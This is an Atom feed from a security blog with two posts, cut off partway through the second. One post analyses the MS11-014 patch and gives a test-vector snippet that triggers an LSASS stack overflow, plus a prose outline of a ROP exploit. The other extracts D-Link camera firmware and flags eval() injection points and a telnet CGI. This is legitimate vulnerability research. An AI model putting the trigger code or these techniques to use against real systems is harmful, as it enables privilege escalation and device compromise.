<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-26480225</id><updated>2012-01-23T06:00:24.137+01:00</updated><title type='text'>newsoft's tech blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>28</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-26480225.post-8333816679170608847</id><published>2012-01-10T22:45:00.000+01:00</published><updated>2012-01-10T22:45:01.388+01:00</updated><title type='text'>MS11-014: this is not the bug your are looking for …</title><content type='html'>&lt;h3&gt;Intro&lt;/h3&gt;&lt;div align="justify"&gt;It could be believed that patch management was an outdated topic for year 2011. However, I have still been asked by a client to challenge their internal patch management policy by delivering a working exploit faster than the &lt;i&gt;XX&lt;/i&gt;-day period they waited before patch deployment (&lt;i&gt;XX&lt;/i&gt; being somewhere between 10 and 99 - I love random figures like this ;).&lt;br /&gt;&lt;br /&gt;This event occurred in February 2011. Having a look at the &lt;a href="http://technet.microsoft.com/en-us/security/bulletin/ms11-feb"&gt;gorgeous monthly Microsoft release&lt;/a&gt;, we decided to target &lt;a href="http://technet.microsoft.com/en-us/security/bulletin/ms11-014"&gt;MS11-014&lt;/a&gt; (“&lt;i&gt;Vulnerability in Local Security Authority Subsystem Service Could Allow Local Elevation of Privilege &lt;/i&gt;”), since local bugs are usually easier to exploit reliably.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;As this story occurred one year ago, I assume that everybody had enough time to patch. And local exploits are not “wormable”, therefore releasing this information will &lt;i&gt;not&lt;/i&gt; result in the end of Internet.&lt;/div&gt;&lt;h3&gt;Patch analysis&lt;/h3&gt;&lt;div align="justify"&gt;The patch itself is &lt;a href="http://autodiff.piotrbania.com/get_diff.php?diff_id=44"&gt;piece of cake&lt;/a&gt;: only &lt;span style="font-family: 'Courier New';"&gt;LSASRV.DLL&lt;/span&gt; has changed, and only 2 functions have changed within that DLL.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: 'Courier New';"&gt;FMyPrimitiveHMACParam()&lt;/span&gt; only had a few extra NOPs added.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;On the other hand, &lt;span style="font-family: 'Courier New';"&gt;NegpMapLogonRequest()&lt;/span&gt; is an excellent candidate, for an extra size check has been added (as shown below in &lt;b&gt;&lt;span style="color: red;"&gt;bold red&lt;/span&gt;&lt;/b&gt;) – sorry for providing unformatted &lt;a href="http://www.hex-rays.com/products/decompiler/index.shtml"&gt;Hex-Rays&lt;/a&gt; pseudo-code, I know it is lame ;)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: 'Courier New';"&gt;signed int __stdcall NegpMapLogonRequest(char *a1, void *a2, unsigned int a3, struct _MSV1_0_INTERACTIVE_LOGON **a4)     &lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;(…)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; if ( v6 &amp;gt; 0x100u || *(_WORD *)v5 &amp;gt; 0x100u&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;strong&gt;&amp;nbsp; &lt;span style="color: red;"&gt;|| (v7 = *((_WORD *)a1 + 2), v7 &amp;gt; 0x1FEu)&lt;/span&gt;&lt;/strong&gt; )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; &amp;nbsp; return -1073741562;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;(…)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;span style="font-family: 'Courier New';"&gt;a1&lt;/span&gt; is not really a &lt;span style="font-family: 'Courier New';"&gt;char*&lt;/span&gt; but rather a &lt;span style="font-family: 'Courier New';"&gt;LSA_UNICODE_STRING&lt;/span&gt;, defined as such:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: 'Courier New';"&gt;typedef struct _LSA_UNICODE_STRING {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; USHORT Length;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; USHORT MaximumLength;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; PWSTR Buffer;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;span style="font-family: 'Courier New';"&gt;NegpMapLogonRequest()&lt;/span&gt; has two direct callers: &lt;span style="font-family: 'Courier New';"&gt;NegpCloneLogonSession()&lt;/span&gt; and &lt;span style="font-family: 'Courier New';"&gt;NegpIsLocalOrNetworkService()&lt;/span&gt;, which is in turn called from &lt;span style="font-family: 'Courier New';"&gt;NegLogonUserEx2()&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Those APIs are internal to LSASS, and are exposed to other processes through &lt;a href="http://recon.cx/2008/a/thomas_garnier/LPC-ALPC-slides.pdf"&gt;loosely documented&lt;/a&gt; LPC calls. The easiest way to trigger that piece of code from any process is to rely on the official &lt;a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa378189(v=vs.85).aspx"&gt;LogonUserEx&lt;/a&gt; API.&lt;/div&gt;&lt;h3&gt;Debugging LSASS&lt;/h3&gt;&lt;div align="justify"&gt;Debugging LSASS locally can be tricky, for it is a critical system process that is involved in the debugging subsystem itself. Do not expect to be able to attach &lt;a href="http://ollydbg.de/"&gt;OllyDbg&lt;/a&gt; and go away with it … The easiest way to do it seems to rely on the Kernel Debugger itself, which has also the &lt;a href="http://www.nynaeve.net/?p=136"&gt;ability to debug any userland process&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;That being done, WinDbg confirms that our target function is indirectly called from &lt;span style="font-family: 'Courier New';"&gt;LogonUserEx()&lt;/span&gt; indeed, plus the offending string is the &lt;i&gt;user-supplied domain name&lt;/i&gt; …&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: 'Courier New';"&gt;kd&amp;gt; kv&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;ChildEBP RetAddr&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acfc8c 757434c5&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;LSASRV!NegpMapLogonRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acfcb4 75742e41&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;LSASRV!NegpIsLocalOrNetworkService+0x2f&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;00acfcf8 75742891 LSASRV!NegLogonUserEx2+0xaa&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acfe98 757422ae LSASRV!LsapAuApiDispatchLogonUser+0x33b&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acfeac 75739481 LSASRV!LpcLsaLogonUser+0x22&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acfec4 757393a5 LSASRV!DispatchAPI+0x46&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acff50 75738cfa&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;LSASRV!LpcHandler+0x153&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acff74 75738dbe LSASRV!SpmPoolThreadBase+0xb9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acffb4 7c80b729 LSASRV!LsapThreadBase+0x91&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;00acffec 00000000 kernel32!BaseThreadStart+0x37&lt;/span&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;Wait … does it mean that calling &lt;span style="font-family: 'Courier New';"&gt;LogonUserEx()&lt;/span&gt; with a domain name over 0x200 characters is enough to trigger that bug ? Unfortunately not: &lt;i&gt;because there is no bug&lt;/i&gt; … The logon triplet (username, domain, password) will be rejected as invalid – which it is.&lt;/div&gt;&lt;h3&gt;Where is the meat?&lt;/h3&gt;&lt;div align="justify"&gt;There is still one missing piece in the puzzle: where is the bug? No vulnerable string copy is to be found anywhere within &lt;span style="font-family: 'Courier New';"&gt;LSASRV.DLL&lt;/span&gt;. And providing an oversized domain name will &lt;i&gt;not&lt;/i&gt; result in any crash.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;At this point, there are two possible ways to go: one is hard work. The other is &lt;s&gt;laziness&lt;/s&gt; efficiency. As &lt;a href="http://pt.linkedin.com/in/jorgemoura"&gt;Jorge Moura&lt;/a&gt; (from &lt;a href="http://www.primaverabss.com/"&gt;Primavera BSS&lt;/a&gt;) is credited for the discovery, I emailed him. Not only did he respond over the night, but he also provided me with a test vector. Which turns to be something like:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: 'Courier New';"&gt;LogonUser(&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; _T("SomeUsername"),&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; (TCHAR*)domain,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; _T("SomePassword"),&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; LOGON32_LOGON_NEW_CREDENTIALS, // defined as 9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; LOGON32_PROVIDER_DEFAULT, // defined as 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; &amp;amp;hToken     &lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;(…)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;ImpersonateLoggedOnUser( hToken );&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;(…)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;CreateFile(     &lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;_T(\\\\127.0.0.1\\c$\\boot.ini),&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; GENERIC_READ,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; FILE_SHARE_READ|FILE_SHARE_WRITE,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; NULL, // security attributes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; OPEN_EXISTING,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; FILE_ATTRIBUTE_NORMAL,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp; NULL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="justify"&gt;The trick is to specify the &lt;span style="font-family: 'Courier New';"&gt;LOGON32_LOGON_NEW_CREDENTIALS&lt;/span&gt; flag, which has the following effect:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;“&lt;i&gt;This logon type allows the caller to clone its current token and specify new credentials for outbound connections. The new logon session has the same local identifier but uses different credentials for other network connections.&lt;/i&gt;”&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;In that case, new credentials are not immediately checked, but rather stored “as is” in memory for future use. And the crash occurs when the authentication package – namely &lt;span style="font-family: 'Courier New';"&gt;MSV1_0.DLL&lt;/span&gt; – makes use of those new credentials.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Vulnerable function is &lt;span style="font-family: 'Courier New';"&gt;SspMapContext()&lt;/span&gt; in which lies an unbounded, inlined &lt;span style="font-family: 'Courier New';"&gt;memcpy()&lt;/span&gt;. Destination is the local function stack … What else? ;)&lt;/div&gt;&lt;h3&gt;Exploitation details&lt;/h3&gt;&lt;div align="justify"&gt;Despite being a “classical”, size-unlimited, Unicode stack overflow, generic exploitation of this bug can be tricky on an up-to-date Windows XP SP3 target.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;LSASS process and all Microsoft-provided DLLs that are loaded by default within that process benefit from PEB and stack randomization, are flagged as &lt;a href="http://msdn.microsoft.com/en-us/library/ms235442(v=vs.80).aspx"&gt;/NXCOMPAT&lt;/a&gt; and &lt;a href="http://msdn.microsoft.com/en-us/library/9a89h429(v=vs.80).aspx"&gt;/SAFESEH&lt;/a&gt;. The offending function is itself protected by a stack cookie (as a result of &lt;a href="http://msdn.microsoft.com/en-us/library/8dbf701c(v=vs.80).aspx"&gt;/GS&lt;/a&gt; option). Exploitation is one-shot, since LSASS process death will notoriously result in a forced system reboot.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;During that particular assignment, it turned out that Symantec (ex-Sygate) personal firewall also loads &lt;span style="font-family: 'Courier New';"&gt;SYSFER.DLL&lt;/span&gt; (version 1.0.0 at that time – if it means something) into LSASS address space. As this DLL has been compiled &lt;i&gt;without any security option&lt;/i&gt;, and given that Windows XP does not provide any ASLR for code mappings, this DLL has been used as a gadget provider for ROP-like exploitation. After some &lt;a href="http://code.google.com/p/smiasm/"&gt;MIASM&lt;/a&gt; magic, all client boxes were reliably 0wn3d – thanks to Symantec security products being installed ;)&lt;/div&gt;&lt;h3&gt;Outro (a.k.a. TL;DR)&lt;/h3&gt;In summary:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;     &lt;div align="justify"&gt;The effective bug has &lt;i&gt;not&lt;/i&gt; been fixed. Any other API that would allow passing an oversized domain name to LSASS could result in triggering the very same bug within MSV1_0.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;     &lt;div align="justify"&gt;Leave figures to risk managers and top-level management only. It makes no sense trying to define metrics such as “days before public exploit”, when unqualified exploit writers can provide a reliable attack vector within 2 days – not to mention all the people who had access to this flaw before public release. And after one year, this issue is still marked as “no public exploit available” on &lt;a href="http://technet.microsoft.com/en-us/security/bulletin/ms11-feb"&gt;Microsoft summary page&lt;/a&gt;.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;     &lt;div align="justify"&gt;According to the original discoverer, such a trivial bug (think: &lt;i&gt;oversized domain name provided during user authentication&lt;/i&gt;) was found by accident during a software QA session.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;     &lt;div align="justify"&gt;According to Microsoft security bulletin, this bug only affects Windows XP and Windows 2003. It is assumed (without checking) that &lt;a href="http://blogs.msdn.com/b/sdl/archive/2007/04/26/lessons-learned-from-the-animated-cursor-security-bug.aspx"&gt;memcpy()&lt;/a&gt; has eventually been &lt;a href="http://blogs.msdn.com/b/sdl/archive/2009/05/14/please-join-me-in-welcoming-memcpy-to-the-sdl-rogues-gallery.aspx"&gt;defined as dangerous&lt;/a&gt; and replaced as much as possible by &lt;a href="http://msdn.microsoft.com/en-us/library/wes2t00f(v=vs.80).aspx"&gt;memcpy_s()&lt;/a&gt;. Is Microsoft aware of the number of security issues it killed? Who knows …&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-8333816679170608847?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/8333816679170608847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=8333816679170608847' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8333816679170608847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8333816679170608847'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2012/01/ms11-014-this-is-not-bug-your-are.html' title='MS11-014: this is not the bug your are looking for …'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-2847452806935009669</id><published>2010-09-27T08:00:00.007+01:00</published><updated>2010-09-27T08:00:03.794+01:00</updated><title type='text'>D-Link DCS-2121 and the state of embedded security</title><content type='html'>&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I recently bought a &lt;a href="http://www.dlink.com.sg/products/?idproduct=310"&gt;D-Link DCS-2121&lt;/a&gt; surveillance camera. This is good stuff:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Megapixel camera + microphone + speaker&lt;/li&gt;&lt;li&gt;WiFi, UPnP and dynamic DNS supported&lt;/li&gt;&lt;li&gt;Web and Mobile Web access to streaming data&lt;/li&gt;&lt;li&gt;Motion detection&lt;/li&gt;&lt;li&gt;SDCard recording&lt;/li&gt;&lt;/ul&gt;It is also an embedded system running Linux operating system; therefore I decided to have a look at it ;) A firmware upgrade is available &lt;a href="http://www.dlink.com.sg/support/support_detail.asp?idproduct=310"&gt;here&lt;/a&gt; (version 1.04 at the time of writing), which is very convenient for further analysis.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Firmware analysis&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745&lt;br /&gt;(...)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ unzip dcs-2121_fw_1.04_3227.zip&lt;br /&gt;Archive: dcs-2121_fw_1.04_3227.zip&lt;br /&gt;inflating: DCS-2102_DCS-2121_A1_FW_1.04_3227.bin&lt;br /&gt;inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin&lt;br /&gt;DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Yes, firmware is … a shell script file! In fact, this file is broken into two parts:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A shell script&lt;/li&gt;&lt;li&gt;A binary blob&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://newsoft.dyndns.org/tech/DCS_firmware.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://newsoft.dyndns.org/tech/DCS_firmware.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The shell script is very small - interesting parts are the following:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(...)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;BLOCKS="norboot.bin(0x10000,65536),vmlinuz(0x60000,1048576),cram_image(0x160000,0x5E0000),autoboot.bin(0x2000,8192)"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(...)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;extract() {&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;# tarLine will be replaced with a real number by Makefile&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;tail -n +153 "$1"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(...)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;extract "$self" | ddPack - || exit 1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(...)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a &lt;a href="http://en.wikipedia.org/wiki/Cramfs"&gt;CramFS filesystem&lt;/a&gt; is used.&lt;br /&gt;&lt;br /&gt;CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;5+1 records in&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;5+1 records out&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ file cramfs&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ sudo mount -o loop,ro cramfs /mnt/loop/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;ls /mnt/loop/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;bin &amp;nbsp;dev &amp;nbsp;etc &amp;nbsp;lib &amp;nbsp;linuxrc &amp;nbsp;mnt &amp;nbsp;opt &amp;nbsp;proc &amp;nbsp;sbin &amp;nbsp;scripts &amp;nbsp;tmp &amp;nbsp;usr &amp;nbsp;var&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the &lt;a href="http://www.prolific.com.tw/eng/Products.asp?ID=74"&gt;Prolific PL-1029&lt;/a&gt; "System On a Chip".&amp;nbsp;Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;#!/bin/sh&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br 